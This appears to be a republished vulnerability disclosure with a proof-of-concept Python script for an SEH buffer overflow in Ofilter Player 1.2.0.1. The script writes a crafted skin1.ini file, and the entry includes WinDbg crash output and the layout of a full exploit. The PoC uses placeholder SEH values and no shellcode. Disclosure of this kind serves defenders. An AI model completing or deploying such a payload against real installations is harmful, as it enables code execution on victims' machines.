Ofilter Player 1.2.0.1 Buffer Overflow Vulnerability

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Ofilter Player 1.2.0.1 Buffer Overflow Vulnerability

来源：http://www.cr0security.com 作者：gunslinger 发布时间：2013-09-16

# Exploit Title : Ofilter Player Version 1.2.0.1 - (skin1.ini) - SEH Based Buffer Overflow PoC

# Date : 12-09-2013

# Exploit Author : gunslinger_ <yuda at cr0security.com>

# Author Homepage : http://www.cr0security.com

# Software Link : http://download.cnet.com/Ofilter-Player/3000-2139_4-78232.html

# Price : Free to try; $19.99 to buy

# Version : 1.2.0.1 (Probably old version of software and the LATEST version too)

# Vendor : DigitByte Studio

# Vendor Homepage : http://www.008soft.com/

# Tested on : Windows XP SP3

#============================================================================================

# Ofilter Player is Prone to a SEH based Buffer Overflow which allows attacker to execute arbitary code on the victim's machine.

# To trigger the vulnerability the attacker must rewrite file skin1.ini inside /skin folder on Ofilter Player installed folder.

# Then run Ofilter Player, and EIP will be overwritten with the SEH address when the program initialize to read variable from skin1.ini file (see debug result below).

# The Exploit will look like this : [Junk "A" x 360] [6 Bytes Jump + 2Nops ] [pop pop ret address / others] [Shellcode] .

# Crash Triggered + Seh Overwritten .

#============================================================================================

#!/usr/bin/python

'''

0:000> g

ModLoad: 773d0000 774d3000   C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll

ModLoad: 5ad70000 5ada8000 C:\WINDOWS\system32\uxtheme.dll

(658.3f0): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0000018c ebx=00000000 ecx=41414141 edx=0012df77 esi=00000171 edi=00000171

eip=0040161d esp=0012ddc4 ebp=0012df08 iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

*** WARNING: Unable to verify checksum for image00400000

*** ERROR: Module load completed but symbols could not be loaded for image00400000

image00400000+0x161d:

0040161d 8b41f4 mov eax,dword ptr [ecx-0Ch] ds:0023:41414135=????????

0:000> g

(658.3f0): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=bbbbbbbb edx=7c9032bc esi=00000000 edi=00000000

eip=bbbbbbbb esp=0012d9f4 ebp=0012da14 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

bbbbbbbb ?? ???

0:000> !exchain

0012da08: ntdll!ExecuteHandler2+3a (7c9032bc)

0012df54: bbbbbbbb

Invalid exception stack at cccccccc

'''

from struct import pack

filename = "skin1.ini"

junk = "\x41" * 360

nextSEH = "\xcc\xcc\xcc\xcc"

SEH = "\xbb\xbb\xbb\xbb"

trigger_seh = junk + nextSEH + SEH

ini_content = """[BACKGROUND]

Mask=GoldMask.bmp

Main=GoldMain.bmp

Selected=GoldSelected.bmp

Over=GoldOver.bmp

Disabled=GoldDisable.bmp

[BUTTON]

1=ID_FILE_EXIT,273,10,9,9,Exit,FALSE

2=ID_BUTTON_MINIMIZE,261,10,9,9,MINIMIZE,FALSE

3=IDC_BUTTON1_FILELIST_LOOP,229,85,42,21,FILE,FALSE

4=ID_JUMP_FORWARD,103,91,16,15,Skip Forward,FALSE

5=ID_PLAYBACK_NEXTCHAPTER,119,91,16,15,Next,FALSE

6=ID_PLAYBACK_PREVIOUSCHAPTER,23,91,16,15,Previous,FALSE

7=ID_PLAYBACK_STOP,86,91,17,15,Stop,FALSE

8=ID_PLAYBACK_PAUSE,71,91,15,15,Pause,FALSE

9=ID_PLAYBACK_PLAY,53,91,18,15,Play,FALSE

10=ID_JUMP_BACKWARD,38,91,15,15,Skip Backward,FALSE

11=ID_FILE_SELECTDISC,145,85,41,21,Open Media Files,FALSE

12=ID_WEBSITE,117,8,69,16,Website,FALSE

13=%s,186,85,42,21,Open VCD,FALSE

14=ID_POPUP_HELP,251,10,9,9,Popup,FALSE

[TRACKBARINFO]

1=IDC_SLIDER1_PLAYBACK_POSITION,Goldbutton1.bmp,Goldbutton1.bmp,23,69,247,6,H,100

2=IDC_SLIDER1_VOLUME,Goldbutton2.bmp,Goldbutton2.bmp,23,79,113,6,H,100

[PLAY]

1=ID_PLAYBACK_TIME,Arial,TRUE,TRUE,-14,32768,100,43,160,16,

2=PLAY,Arial,TRUE,TRUE,-14,32768,34,43,50,16,10""" % (trigger_seh)

textfile = open(filename , 'wb')

textfile.write(ini_content)

textfile.close()

[